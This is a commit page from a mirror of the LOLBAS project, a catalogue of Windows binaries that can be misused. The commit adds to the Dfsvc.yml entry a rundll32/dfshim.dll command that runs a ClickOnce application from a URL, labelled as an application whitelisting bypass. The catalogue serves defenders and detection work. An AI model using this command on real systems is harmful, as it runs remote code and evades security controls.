public-mirrors/LOLBAS
1
0
Fork 0
mirror of https://github.com/LOLBAS-Project/LOLBAS synced 2024-10-22 16:49:11 +02:00
Code Issues Projects Releases Wiki Activity

Added example to DFSVC - Thanks to PolarBearGod

Browse Source
This commit is contained in:
Oddvar Moe 2018-12-10 18:45:41 +01:00
parent 7c1296f838
commit 1af009d707
1 changed files with 3 additions and 2 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

5
yml/OSBinaries/Dfsvc.yml
View File

@ -4,8 +4,8 @@ Description: ClickOnce engine in Windows used by .NET
Author: 'Oddvar Moe'
Created: '2018-05-25'
Commands:
- Command: Missing Example
Description: Missing example
- Command: rundll32.exe dfshim.dll,ShOpenVerbApplication http://www.domain.com/application/?param1=foo
Description: Executes click-once-application from Url
Usecase: Use binary to bypass Application whitelisting
Category: AWL bypass
Privileges: User
@ -23,6 +23,7 @@ Detection:
- IOC:
Resources:
- Link: https://github.com/api0cradle/ShmooCon-2015/blob/master/ShmooCon-2015-Simple-WLEvasion.pdf
- Link: https://stackoverflow.com/questions/13312273/clickonce-runtime-dfsvc-exe
Acknowledgement:
- Person: Casey Smith
Handle: '@subtee'